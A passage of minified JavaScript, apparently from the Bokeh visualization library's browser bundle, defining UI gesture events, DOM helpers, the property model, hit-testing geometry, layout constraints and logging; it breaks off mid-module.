b=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"mouseenter\\\")],e)}(f);i.MouseEnter=b;var x=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"mouseleave\\\")],e)}(f);i.MouseLeave=x;var w=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"tap\\\")],e)}(f);i.Tap=w;var k=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"doubletap\\\")],e)}(f);i.DoubleTap=k;var S=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"press\\\")],e)}(f);i.Press=S;var C=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"panstart\\\")],e)}(f);i.PanStart=C;var T=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"panend\\\")],e)}(f);i.PanEnd=T;var A=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"pinchstart\\\")],e)}(f);i.PinchStart=A;var E=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e=n.__decorate([a(\\\"pinchend\\\")],e)}(f);i.PinchEnd=E},function(t,e,i){var g=t(391),y=t(21);i.build_views=function(e,t,i,n){void 0===n&&(n=function(t){return t.default_view});for(var r=y.difference(Object.keys(e),t.map(function(t){return t.id})),o=0,s=r;o<s.length;o++){var a=s[o];e[a].remove(),delete e[a]}for(var l=[],h=t.filter(function(t){return null==e[t.id]}),u=0,c=h;u<c.length;u++){var _=c[u],p=n(_),d=g.__assign({},i,{model:_,connect_signals:!1}),f=new p(d);e[_.id]=f,l.push(f)}for(var v=0,m=l;v<m.length;v++){var f=m[v];f.connect_signals()}return l},i.remove_views=function(t){for(var e in t)t[e].remove(),delete t[e]}},function(t,e,i){var n,y=t(44),r=function(g){return function(t){void 0===t&&(t={});for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];var n=document.createElement(g);for(var r in t){var o=t[r];if(null!=o&&(!y.isBoolean(o)||o))if(\\\"class\\\"===r&&y.isArray(o))for(var s=0,a=o;s<a.length;s++){var l=a[s];null!=l&&n.classList.add(l)}else if(\\\"style\\\"===r&&y.isPlainObject(o))for(var h in o)n.style[h]=o[h];else if(\\\"data\\\"===r&&y.isPlainObject(o))for(var u in o)n.dataset[u]=o[u];else n.setAttribute(r,o)}function c(t){if(t instanceof HTMLElement)n.appendChild(t);else if(y.isString(t))n.appendChild(document.createTextNode(t));else if(null!=t&&!1!==t)throw new Error(\\\"expected an HTMLElement, string, false or null, got \\\"+JSON.stringify(t))}for(var _=0,p=e;_<p.length;_++){var d=p[_];if(y.isArray(d))for(var f=0,v=d;f<v.length;f++){var m=v[f];c(m)}else c(d)}return n}};function o(t,e){var i=Element.prototype,n=i.matches||i.webkitMatchesSelector||i.mozMatchesSelector||i.msMatchesSelector;return n.call(t,e)}i.createElement=function(t,e){for(var i=[],n=2;n<arguments.length;n++)i[n-2]=arguments[n];return r(t).apply(void 0,[e].concat(i))},i.div=r(\\\"div\\\"),i.span=r(\\\"span\\\"),i.link=r(\\\"link\\\"),i.style=r(\\\"style\\\"),i.a=r(\\\"a\\\"),i.p=r(\\\"p\\\"),i.i=r(\\\"i\\\"),i.pre=r(\\\"pre\\\"),i.button=r(\\\"button\\\"),i.label=r(\\\"label\\\"),i.input=r(\\\"input\\\"),i.select=r(\\\"select\\\"),i.option=r(\\\"option\\\"),i.optgroup=r(\\\"optgroup\\\"),i.textarea=r(\\\"textarea\\\"),i.canvas=r(\\\"canvas\\\"),i.ul=r(\\\"ul\\\"),i.ol=r(\\\"ol\\\"),i.li=r(\\\"li\\\"),i.nbsp=document.createTextNode(\\\"Â \\\"),i.removeElement=function(t){var e=t.parentNode;null!=e&&e.removeChild(t)},i.replaceWith=function(t,e){var i=t.parentNode;null!=i&&i.replaceChild(e,t)},i.prepend=function(t){for(var e=[],i=1;i<arguments.length;i++)e[i-1]=arguments[i];for(var n=t.firstChild,r=0,o=e;r<o.length;r++){var s=o[r];t.insertBefore(s,n)}},i.empty=function(t){for(var e;e=t.firstChild;)t.removeChild(e)},i.show=function(t){t.style.display=\\\"\\\"},i.hide=function(t){t.style.display=\\\"none\\\"},i.position=function(t){return{top:t.offsetTop,left:t.offsetLeft}},i.offset=function(t){var e=t.getBoundingClientRect();return{top:e.top+window.pageYOffset-document.documentElement.clientTop,left:e.left+window.pageXOffset-document.documentElement.clientLeft}},i.matches=o,i.parent=function(t,e){for(var i=t;i=i.parentElement;)if(o(i,e))return i;return null},i.margin=function(t){var e=getComputedStyle(t);return{top:parseFloat(e.marginTop)||0,bottom:parseFloat(e.marginBottom)||0,left:parseFloat(e.marginLeft)||0,right:parseFloat(e.marginRight)||0}},i.padding=function(t){var e=getComputedStyle(t);return{top:parseFloat(e.paddingTop)||0,bottom:parseFloat(e.paddingBottom)||0,left:parseFloat(e.paddingLeft)||0,right:parseFloat(e.paddingRight)||0}},(n=i.Keys||(i.Keys={}))[n.Backspace=8]=\\\"Backspace\\\",n[n.Tab=9]=\\\"Tab\\\",n[n.Enter=13]=\\\"Enter\\\",n[n.Esc=27]=\\\"Esc\\\",n[n.PageUp=33]=\\\"PageUp\\\",n[n.PageDown=34]=\\\"PageDown\\\",n[n.Left=37]=\\\"Left\\\",n[n.Up=38]=\\\"Up\\\",n[n.Right=39]=\\\"Right\\\",n[n.Down=40]=\\\"Down\\\",n[n.Delete=46]=\\\"Delete\\\"},function(t,e,i){var n=t(391),r=t(48),o=t(5),s=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this._has_finished=!1,this.el=this._createElement()},t.prototype.remove=function(){o.removeElement(this.el),e.prototype.remove.call(this)},t.prototype.css_classes=function(){return[]},t.prototype.cursor=function(t,e){return null},t.prototype.layout=function(){},t.prototype.render=function(){},t.prototype.renderTo=function(t){t.appendChild(this.el),this.layout()},t.prototype.has_finished=function(){return this._has_finished},Object.defineProperty(t.prototype,\\\"_root_element\\\",{get:function(){return o.parent(this.el,\\\".bk-root\\\")||document.body},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"solver\\\",{get:function(){return this.is_root?this._solver:this.parent.solver},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_idle\\\",{get:function(){return this.has_finished()},enumerable:!0,configurable:!0}),t.prototype._createElement=function(){return o.createElement(this.tagName,{id:this.id,class:this.css_classes()})},t}(r.View);(i.DOMView=s).prototype.tagName=\\\"div\\\"},function(t,e,i){i.AngleUnits=[\\\"deg\\\",\\\"rad\\\"],i.Dimension=[\\\"width\\\",\\\"height\\\"],i.Dimensions=[\\\"width\\\",\\\"height\\\",\\\"both\\\"],i.Direction=[\\\"clock\\\",\\\"anticlock\\\"],i.FontStyle=[\\\"normal\\\",\\\"italic\\\",\\\"bold\\\",\\\"bold italic\\\"],i.LatLon=[\\\"lat\\\",\\\"lon\\\"],i.LineCap=[\\\"butt\\\",\\\"round\\\",\\\"square\\\"],i.LineJoin=[\\\"miter\\\",\\\"round\\\",\\\"bevel\\\"],i.Location=[\\\"above\\\",\\\"below\\\",\\\"left\\\",\\\"right\\\"],i.LegendClickPolicy=[\\\"none\\\",\\\"hide\\\",\\\"mute\\\"],i.LegendLocation=[\\\"top_left\\\",\\\"top_center\\\",\\\"top_right\\\",\\\"center_left\\\",\\\"center\\\",\\\"center_right\\\",\\\"bottom_left\\\",\\\"bottom_center\\\",\\\"bottom_right\\\"],i.Anchor=i.LegendLocation,i.Orientation=[\\\"vertical\\\",\\\"horizontal\\\"],i.OutputBackend=[\\\"canvas\\\",\\\"svg\\\",\\\"webgl\\\"],i.RenderLevel=[\\\"image\\\",\\\"underlay\\\",\\\"glyph\\\",\\\"annotation\\\",\\\"overlay\\\"],i.RenderMode=[\\\"canvas\\\",\\\"css\\\"],i.Side=[\\\"above\\\",\\\"below\\\",\\\"left\\\",\\\"right\\\"],i.Place=[\\\"above\\\",\\\"below\\\",\\\"left\\\",\\\"right\\\",\\\"center\\\"],i.SpatialUnits=[\\\"screen\\\",\\\"data\\\"],i.StartEnd=[\\\"start\\\",\\\"end\\\"],i.VerticalAlign=[\\\"top\\\",\\\"middle\\\",\\\"bottom\\\"],i.TextAlign=[\\\"left\\\",\\\"right\\\",\\\"center\\\"],i.TextBaseline=[\\\"top\\\",\\\"middle\\\",\\\"bottom\\\",\\\"alphabetic\\\",\\\"hanging\\\",\\\"ideographic\\\"],i.TickLabelOrientation=[\\\"vertical\\\",\\\"horizontal\\\",\\\"parallel\\\",\\\"normal\\\"],i.TooltipAttachment=[\\\"horizontal\\\",\\\"vertical\\\",\\\"left\\\",\\\"right\\\",\\\"above\\\",\\\"below\\\"],i.Distribution=[\\\"uniform\\\",\\\"normal\\\"],i.StepMode=[\\\"after\\\",\\\"before\\\",\\\"center\\\"],i.SizingMode=[\\\"stretch_both\\\",\\\"scale_width\\\",\\\"scale_height\\\",\\\"scale_both\\\",\\\"fixed\\\"],i.PaddingUnits=[\\\"percent\\\",\\\"absolute\\\"],i.SliderCallbackPolicy=[\\\"continuous\\\",\\\"throttle\\\",\\\"mouseup\\\"],i.RoundingFunction=[\\\"round\\\",\\\"nearest\\\",\\\"floor\\\",\\\"rounddown\\\",\\\"ceil\\\",\\\"roundup\\\"],i.UpdateMode=[\\\"replace\\\",\\\"append\\\"],i.HTTPMethod=[\\\"POST\\\",\\\"GET\\\"],i.Logo=[\\\"normal\\\",\\\"grey\\\"]},function(t,e,i){var o=t(391),l=t(19),n=t(16),h=t(34),r=t(15),u=t(38),s=t(21),_=t(32),p=t(44),d=t(30),a=function(a){function c(t){void 0===t&&(t={});var e=a.call(this)||this;for(var i in e._subtype=void 0,e.document=null,e.destroyed=new l.Signal0(e,\\\"destroyed\\\"),e.change=new l.Signal0(e,\\\"change\\\"),e.transformchange=new l.Signal0(e,\\\"transformchange\\\"),e.attributes={},e.properties={},e._set_after_defaults={},e._pending=!1,e._changing=!1,e.props){var n=e.props[i],r=n.type,o=n.default_value;if(null==r)throw new Error(\\\"undefined property type for \\\"+e.type+\\\".\\\"+i);e.properties[i]=new r(e,i,o)}null==t.id&&e.setv({id:u.uniqueId()},{silent:!0});var s=t.__deferred__||!1;return s&&delete(t=_.clone(t)).__deferred__,e.setv(t,{silent:!0}),s||e.finalize(),e}return o.__extends(c,a),c.initClass=function(){this.prototype.type=\\\"HasProps\\\",this.prototype.props={},this.prototype.mixins=[],this.define({id:[r.Any]})},c._fix_default=function(t,e){return void 0===t?void 0:p.isFunction(t)?t:p.isObject(t)?p.isArray(t)?function(){return s.copy(t)}:function(){return _.clone(t)}:function(){return t}},c.define=function(a){var t=function(i){var t=a[i];if(null!=l.prototype.props[i])throw new Error(\\\"attempted to redefine property '\\\"+l.prototype.type+\\\".\\\"+i+\\\"'\\\");if(null!=l.prototype[i])throw new Error(\\\"attempted to redefine attribute '\\\"+l.prototype.type+\\\".\\\"+i+\\\"'\\\");Object.defineProperty(l.prototype,i,{get:function(){var t=this.getv(i);return t},set:function(t){var e;return this.setv(((e={})[i]=t,e)),this},configurable:!1,enumerable:!0});var e=t[0],n=t[1],r=t[2],o={type:e,default_value:l._fix_default(n,i),internal:r||!1},s=_.clone(l.prototype.props);s[i]=o,l.prototype.props=s},l=this;for(var e in a)t(e)},c.internal=function(t){var e={};for(var i in t){var n=t[i],r=n[0],o=n[1];e[i]=[r,o,!0]}this.define(e)},c.mixin=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];this.define(n.create(t));var i=this.prototype.mixins.concat(t);this.prototype.mixins=i},c.mixins=function(t){this.mixin.apply(this,t)},c.override=function(t){for(var e in t){var i=this._fix_default(t[e],e),n=this.prototype.props[e];if(null==n)throw new Error(\\\"attempted to override nonexistent '\\\"+this.prototype.type+\\\".\\\"+e+\\\"'\\\");var r=_.clone(this.prototype.props);r[e]=o.__assign({},n,{default_value:i}),this.prototype.props=r}},c.prototype.toString=function(){return this.type+\\\"(\\\"+this.id+\\\")\\\"},c.prototype.finalize=function(){var t=this;for(var e in this.properties){var i=this.properties[e];i.update(),null!=i.spec.transform&&this.connect(i.spec.transform.change,function(){return t.transformchange.emit()})}this.initialize(),this.connect_signals()},c.prototype.initialize=function(){},c.prototype.connect_signals=function(){},c.prototype.disconnect_signals=function(){l.Signal.disconnectReceiver(this)},c.prototype.destroy=function(){this.disconnect_signals(),this.destroyed.emit()},c.prototype.clone=function(){return new this.constructor(this.attributes)},c.prototype._setv=function(t,e){var i=e.check_eq,n=e.silent,r=[],o=this._changing;this._changing=!0;var s=this.attributes;for(var a in t){var l=t[a];!1!==i&&d.isEqual(s[a],l)||r.push(a),s[a]=l}if(!n){0<r.length&&(this._pending=!0);for(var h=0;h<r.length;h++)this.properties[r[h]].change.emit()}if(!o){if(!n&&!e.no_change)for(;this._pending;)this._pending=!1,this.change.emit();this._pending=!1,this._changing=!1}},c.prototype.setv=function(t,e){for(var i in void 0===e&&(e={}),t)if(t.hasOwnProperty(i)){var n=i;if(null==this.props[n])throw new Error(\\\"property \\\"+this.type+\\\".\\\"+n+\\\" wasn't declared\\\");null!=e&&e.defaults||(this._set_after_defaults[i]=!0)}if(!_.isEmpty(t)){var r={};for(var i in t)r[i]=this.getv(i);this._setv(t,e);var o=e.silent;if(null==o||!o)for(var i in t)this._tell_document_about_change(i,r[i],this.getv(i),e)}},c.prototype.getv=function(t){if(null==this.props[t])throw new Error(\\\"property \\\"+this.type+\\\".\\\"+t+\\\" wasn't declared\\\");return this.attributes[t]},c.prototype.ref=function(){return h.create_ref(this)},c.prototype.set_subtype=function(t){this._subtype=t},c.prototype.attribute_is_serializable=function(t){var e=this.props[t];if(null==e)throw new Error(this.type+\\\".attribute_is_serializable('\\\"+t+\\\"'): \\\"+t+\\\" wasn't declared\\\");return!e.internal},c.prototype.serializable_attributes=function(){var t={};for(var e in this.attributes){var i=this.attributes[e];this.attribute_is_serializable(e)&&(t[e]=i)}return t},c._value_to_json=function(t,e,i){if(e instanceof c)return e.ref();if(p.isArray(e)){for(var n=[],r=0;r<e.length;r++){var o=e[r];n.push(c._value_to_json(r.toString(),o,e))}return n}if(p.isPlainObject(e)){var s={};for(var a in e)e.hasOwnProperty(a)&&(s[a]=c._value_to_json(a,e[a],e));return s}return e},c.prototype.attributes_as_json=function(t,e){void 0===t&&(t=!0),void 0===e&&(e=c._value_to_json);var i=this.serializable_attributes(),n={};for(var r in i)if(i.hasOwnProperty(r)){var o=i[r];t?n[r]=o:r in this._set_after_defaults&&(n[r]=o)}return e(\\\"attributes\\\",n,this)},c._json_record_references=function(t,e,i,n){if(null==e);else if(h.is_ref(e)){if(!(e.id in i)){var r=t.get_model_by_id(e.id);c._value_record_references(r,i,n)}}else if(p.isArray(e))for(var o=0,s=e;o<s.length;o++){var a=s[o];c._json_record_references(t,a,i,n)}else if(p.isPlainObject(e))for(var l in e)if(e.hasOwnProperty(l)){var a=e[l];c._json_record_references(t,a,i,n)}},c._value_record_references=function(t,e,i){if(null==t);else if(t instanceof c){if(!(t.id in e)&&(e[t.id]=t,i))for(var n=t._immediate_references(),r=0,o=n;r<o.length;r++){var s=o[r];c._value_record_references(s,e,!0)}}else if(t.buffer instanceof ArrayBuffer);else if(p.isArray(t))for(var a=0,l=t;a<l.length;a++){var h=l[a];c._value_record_references(h,e,i)}else if(p.isPlainObject(t))for(var u in t)if(t.hasOwnProperty(u)){var h=t[u];c._value_record_references(h,e,i)}},c.prototype._immediate_references=function(){var t={},e=this.serializable_attributes();for(var i in e){var n=e[i];c._value_record_references(n,t,!1)}return _.values(t)},c.prototype.references=function(){var t={};return c._value_record_references(this,t,!0),_.values(t)},c.prototype._doc_attached=function(){},c.prototype.attach_document=function(t){if(null!=this.document&&this.document!=t)throw new Error(\\\"models must be owned by only a single document\\\");this.document=t,this._doc_attached()},c.prototype.detach_document=function(){this.document=null},c.prototype._tell_document_about_change=function(t,e,i,n){if(this.attribute_is_serializable(t)&&null!=this.document){var r={};c._value_record_references(i,r,!1);var o={};c._value_record_references(e,o,!1);var s=!1;for(var a in r)if(!(a in o)){s=!0;break}if(!s)for(var l in o)if(!(l in r)){s=!0;break}s&&this.document._invalidate_all_models(),this.document._notify_change(this,t,e,i,n)}},c.prototype.materialize_dataspecs=function(t){var e={};for(var i in this.properties){var n=this.properties[i];n.dataspec&&(!n.optional||null!=n.spec.value||i in this._set_after_defaults)&&(e[\\\"_\\\"+i]=n.array(t),null!=n.spec.field&&n.spec.field in t._shapes&&(e[\\\"_\\\"+i+\\\"_shape\\\"]=t._shapes[n.spec.field]),n instanceof r.DistanceSpec&&(e[\\\"max_\\\"+i]=s.max(e[\\\"_\\\"+i])))}return e},c}(l.Signalable());(i.HasProps=a).initClass()},function(t,e,i){var n=t(21),r=t(197);function o(t){return t*t}function s(t,e){return o(t.x-e.x)+o(t.y-e.y)}function a(t,e,i){var n=s(e,i);if(0==n)return s(t,e);var r=((t.x-e.x)*(i.x-e.x)+(t.y-e.y)*(i.y-e.y))/n;if(r<0)return s(t,e);if(1<r)return s(t,i);var o={x:e.x+r*(i.x-e.x),y:e.y+r*(i.y-e.y)};return s(t,o)}i.point_in_poly=function(t,e,i,n){for(var r=!1,o=i[i.length-1],s=n[n.length-1],a=0;a<i.length;a++){var l=i[a],h=n[a];s<e!=h<e&&o+(e-s)/(h-s)*(l-o)<t&&(r=!r),o=l,s=h}return r},i.point_in_ellipse=function(t,e,i,n,r,o,s){var a=Math.pow(Math.cos(i)/r,2)+Math.pow(Math.sin(i)/n,2),l=2*Math.cos(i)*Math.sin(i)*(Math.pow(1/r,2)-Math.pow(1/n,2)),h=Math.pow(Math.cos(i)/n,2)+Math.pow(Math.sin(i)/r,2);return a*Math.pow(t-o,2)+l*(t-o)*(e-s)+h*Math.pow(e-s,2)<=1},i.create_empty_hit_test_result=function(){return new r.Selection},i.create_hit_test_result_from_hits=function(t){var e=new r.Selection;return e.indices=n.sortBy(t,function(t){return t[0],t[1]}).map(function(t){var e=t[0];return t[1],e}),e},i.validate_bbox_coords=function(t,e){var i,n,r=t[0],o=t[1],s=e[0],a=e[1];return o<r&&(r=(i=[o,r])[0],o=i[1]),a<s&&(s=(n=[a,s])[0],a=n[1]),{minX:r,minY:s,maxX:o,maxY:a}},i.dist_2_pts=s,i.dist_to_segment_squared=a,i.dist_to_segment=function(t,e,i){return Math.sqrt(a(t,e,i))},i.check_2_segments_intersect=function(t,e,i,n,r,o,s,a){var l=(a-o)*(i-t)-(s-r)*(n-e);if(0==l)return{hit:!1,x:null,y:null};var h=e-o,u=t-r,c=(s-r)*h-(a-o)*u,_=(i-t)*h-(n-e)*u;u=_/l;var p=t+(h=c/l)*(i-t),d=e+h*(n-e);return{hit:0<h&&h<1&&0<u&&u<1,x:p,y:d}}},function(t,e,i){var s=t(13),a=t(21);i.vstack=function(t,e){var i=[];if(0<e.length){i.push(s.EQ(a.head(e)._bottom,[-1,t._bottom])),i.push(s.EQ(a.tail(e)._top,[-1,t._top])),i.push.apply(i,a.pairwise(e,function(t,e){return s.EQ(t._top,[-1,e._bottom])}));for(var n=0,r=e;n<r.length;n++){var o=r[n];i.push(s.EQ(o._left,[-1,t._left])),i.push(s.EQ(o._right,[-1,t._right]))}}return i},i.hstack=function(t,e){var i=[];if(0<e.length){i.push(s.EQ(a.head(e)._right,[-1,t._right])),i.push(s.EQ(a.tail(e)._left,[-1,t._left])),i.push.apply(i,a.pairwise(e,function(t,e){return s.EQ(t._left,[-1,e._right])}));for(var n=0,r=e;n<r.length;n++){var o=r[n];i.push(s.EQ(o._top,[-1,t._top])),i.push(s.EQ(o._bottom,[-1,t._bottom]))}}return i}},function(t,e,i){var n=t(391),r=t(13),o=t(8),s=t(24),a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LayoutCanvas\\\"},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._top=new r.Variable(this.toString()+\\\".top\\\"),this._left=new r.Variable(this.toString()+\\\".left\\\"),this._width=new r.Variable(this.toString()+\\\".width\\\"),this._height=new r.Variable(this.toString()+\\\".height\\\"),this._right=new r.Variable(this.toString()+\\\".right\\\"),this._bottom=new r.Variable(this.toString()+\\\".bottom\\\");var t=this;this._hcenter={get value(){return(t._left.value+t._right.value)/2}},this._vcenter={get value(){return(t._top.value+t._bottom.value)/2}}},t.prototype.get_editables=function(){return[]},t.prototype.get_constraints=function(){return[r.GE(this._top),r.GE(this._bottom),r.GE(this._left),r.GE(this._right),r.GE(this._width),r.GE(this._height),r.EQ(this._left,this._width,[-1,this._right]),r.EQ(this._top,this._height,[-1,this._bottom])]},t.prototype.get_layoutable_children=function(){return[]},Object.defineProperty(t.prototype,\\\"bbox\\\",{get:function(){return new s.BBox({x0:this._left.value,y0:this._top.value,x1:this._right.value,y1:this._bottom.value})},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"layout_bbox\\\",{get:function(){return{top:this._top.value,left:this._left.value,width:this._width.value,height:this._height.value,right:this._right.value,bottom:this._bottom.value}},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"xview\\\",{get:function(){var r=this;return{compute:function(t){return r._left.value+t},v_compute:function(t){for(var e=new Float64Array(t.length),i=r._left.value,n=0;n<t.length;n++)e[n]=i+t[n];return e}}},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"yview\\\",{get:function(){var r=this;return{compute:function(t){return r._bottom.value-t},v_compute:function(t){for(var e=new Float64Array(t.length),i=r._bottom.value,n=0;n<t.length;n++)e[n]=i-t[n];return e}}},enumerable:!0,configurable:!0}),t}(o.HasProps);(i.LayoutCanvas=a).initClass()},function(t,e,r){var i=t(391),o=t(13),n=t(11),s=t(15),a=t(14),l=t(44),h=Math.PI/2,u=\\\"alphabetic\\\",c=\\\"middle\\\",_=\\\"hanging\\\",p=\\\"left\\\",d=\\\"right\\\",f=\\\"center\\\",v={above:{parallel:0,normal:-h,horizontal:0,vertical:-h},below:{parallel:0,normal:h,horizontal:0,vertical:h},left:{parallel:-h,normal:0,horizontal:0,vertical:-h},right:{parallel:h,normal:0,horizontal:0,vertical:h}},m={above:{justified:\\\"top\\\",parallel:u,normal:c,horizontal:u,vertical:c},below:{justified:\\\"bottom\\\",parallel:_,normal:c,horizontal:_,vertical:c},left:{justified:\\\"top\\\",parallel:u,normal:c,horizontal:c,vertical:u},right:{justified:\\\"top\\\",parallel:u,normal:c,horizontal:c,vertical:u}},g={above:{justified:f,parallel:f,normal:p,horizontal:f,vertical:p},below:{justified:f,parallel:f,normal:p,horizontal:f,vertical:p},left:{justified:f,parallel:f,normal:d,horizontal:d,vertical:f},right:{justified:f,parallel:f,normal:p,horizontal:p,vertical:f}},y={above:d,below:p,left:d,right:p},b={above:p,below:d,left:d,right:p};function x(t){return\\\"panel\\\"in t}r.isSizeable=x,r.isSizeableView=function(t){return x(t.model)&&\\\"get_size\\\"in t},r._view_sizes=new WeakMap,r._view_constraints=new WeakMap,r.update_panel_constraints=function(t){var e=t.solver,i=t.get_size(),n=r._view_constraints.get(t);if(null!=n&&e.has_constraint(n)){if(r._view_sizes.get(t)===i)return;e.remove_constraint(n)}n=o.GE(t.model.panel._size,-i),e.add_constraint(n),r._view_sizes.set(t,i),r._view_constraints.set(t,n)};var w=function(e){function t(t){return e.call(this,t)||this}return i.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"SidePanel\\\",this.internal({side:[s.String]})},t.prototype.toString=function(){return this.type+\\\"(\\\"+this.id+\\\", \\\"+this.side+\\\")\\\"},t.prototype.initialize=function(){switch(e.prototype.initialize.call(this),this.side){case\\\"above\\\":this._dim=0,this._normals=[0,-1],this._size=this._height;break;case\\\"below\\\":this._dim=0,this._normals=[0,1],this._size=this._height;break;case\\\"left\\\":this._dim=1,this._normals=[-1,0],this._size=this._width;break;case\\\"right\\\":this._dim=1,this._normals=[1,0],this._size=this._width;break;default:a.logger.error(\\\"unrecognized side: '\\\"+this.side+\\\"'\\\")}},Object.defineProperty(t.prototype,\\\"dimension\\\",{get:function(){return this._dim},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"normals\\\",{get:function(){return this._normals},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_horizontal\\\",{get:function(){return\\\"above\\\"==this.side||\\\"below\\\"==this.side},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"is_vertical\\\",{get:function(){return\\\"left\\\"==this.side||\\\"right\\\"==this.side},enumerable:!0,configurable:!0}),t.prototype.apply_label_text_heuristics=function(t,e){var i,n,r=this.side;l.isString(e)?(i=m[r][e],n=g[r][e]):0===e?n=i=\\\"whatever\\\":e<0?(i=\\\"middle\\\",n=y[r]):(i=\\\"middle\\\",n=b[r]),t.textBaseline=i,t.textAlign=n},t.prototype.get_label_angle_heuristic=function(t){return v[this.side][t]},t}(n.LayoutCanvas);(r.SidePanel=w).initClass()},function(t,e,i){var n=t(350);function r(i){return function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return new n.Constraint(new(n.Expression.bind.apply(n.Expression,[void 0].concat(t))),i)}}function o(i){return function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e];return new n.Constraint(new(n.Expression.bind.apply(n.Expression,[void 0].concat(t))),i,n.Strength.weak)}}i.Variable=n.Variable,i.Expression=n.Expression,i.Constraint=n.Constraint,i.Operator=n.Operator,i.Strength=n.Strength,i.EQ=r(n.Operator.Eq),i.LE=r(n.Operator.Le),i.GE=r(n.Operator.Ge),i.WEAK_EQ=o(n.Operator.Eq),i.WEAK_LE=o(n.Operator.Le),i.WEAK_GE=o(n.Operator.Ge);var s=function(){function t(){this.solver=new n.Solver}return t.prototype.clear=function(){this.solver=new n.Solver},t.prototype.toString=function(){return\\\"Solver(num_constraints=\\\"+this.num_constraints+\\\", num_editables=\\\"+this.num_editables+\\\")\\\"},Object.defineProperty(t.prototype,\\\"num_constraints\\\",{get:function(){return this.solver.numConstraints},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"num_editables\\\",{get:function(){return this.solver.numEditVariables},enumerable:!0,configurable:!0}),t.prototype.get_constraints=function(){return this.solver.getConstraints()},t.prototype.update_variables=function(){this.solver.updateVariables()},t.prototype.has_constraint=function(t){return this.solver.hasConstraint(t)},t.prototype.add_constraint=function(e){try{this.solver.addConstraint(e)}catch(t){throw new Error(t.message+\\\": \\\"+e.toString())}},t.prototype.remove_constraint=function(t){this.solver.removeConstraint(t)},t.prototype.add_edit_variable=function(t,e){this.solver.addEditVariable(t,e)},t.prototype.remove_edit_variable=function(t){this.solver.removeEditVariable(t)},t.prototype.suggest_value=function(t,e){this.solver.suggestValue(t,e)},t}();i.Solver=s},function(t,e,i){var o=t(44),n={},s=function(t,e){this.name=t,this.level=e};i.LogLevel=s;var r=function(){function r(t,e){void 0===e&&(e=r.INFO),this._name=t,this.set_level(e)}return Object.defineProperty(r,\\\"levels\\\",{get:function(){return Object.keys(r.log_levels)},enumerable:!0,configurable:!0}),r.get=function(t,e){if(void 0===e&&(e=r.INFO),0<t.length){var i=n[t];return null==i&&(n[t]=i=new r(t,e)),i}throw new TypeError(\\\"Logger.get() expects a non-empty string name and an optional log-level\\\")},Object.defineProperty(r.prototype,\\\"level\\\",{get:function(){return this.get_level()},enumerable:!0,configurable:!0}),r.prototype.get_level=function(){return this._log_level},r.prototype.set_level=function(t){if(t instanceof s)this._log_level=t;else{if(!o.isString(t)||null==r.log_levels[t])throw new Error(\\\"Logger.set_level() expects a log-level object or a string name of a log-level\\\");this._log_level=r.log_levels[t]}var e=\\\"[\\\"+this._name+\\\"]\\\";for(var i in r.log_levels){var n=r.log_levels[i];n.level<this._log_level.level||this._log_level.level===r.OFF.level?this[i]=function(){}:this[i]=a(i,e)}},r.prototype.trace=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.prototype.debug=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.prototype.info=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.prototype.warn=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.prototype.error=function(){for(var t=[],e=0;e<arguments.length;e++)t[e]=arguments[e]},r.TRACE=new s(\\\"trace\\\",0),r.DEBUG=new s(\\\"debug\\\",1),r.INFO=new s(\\\"info\\\",2),r.WARN=new s(\\\"warn\\\",6),r.ERROR=new s(\\\"error\\\",7),r.FATAL=new s(\\\"fatal\\\",8),r.OFF=new s(\\\"off\\\",9),r.log_levels={trace:r.TRACE,debug:r.DEBUG,info:r.INFO,warn:r.WARN,error:r.ERROR,fatal:r.FATAL,off:r.OFF},r}();function a(t,e){return null!=console[t]?console[t].bind(console,e):null!=console.log?console.log.bind(console,e):function(){}}i.Logger=r,i.logger=r.get(\\\"bokeh\\\"),i.set_log_level=function(t){null==r.log_levels[t]?(console.log(\\\"[bokeh] unrecognized logging level '\\\"+t+\\\"' passed to Bokeh.set_log_level(), ignoring\\\"),console.log(\\\"[bokeh] valid log levels are: \\\"+r.levels.join(\\\", \\\"))):(console.log(\\\"[bokeh] setting log level to: '\\\"+t+\\\"'\\\"),i.logger.set_level(t))}},function(t,e,i){var o=t(391),s=t(19),n=t(7),r=t(39),a=t(27),l=t(21),h=t(22),u=t(44);function 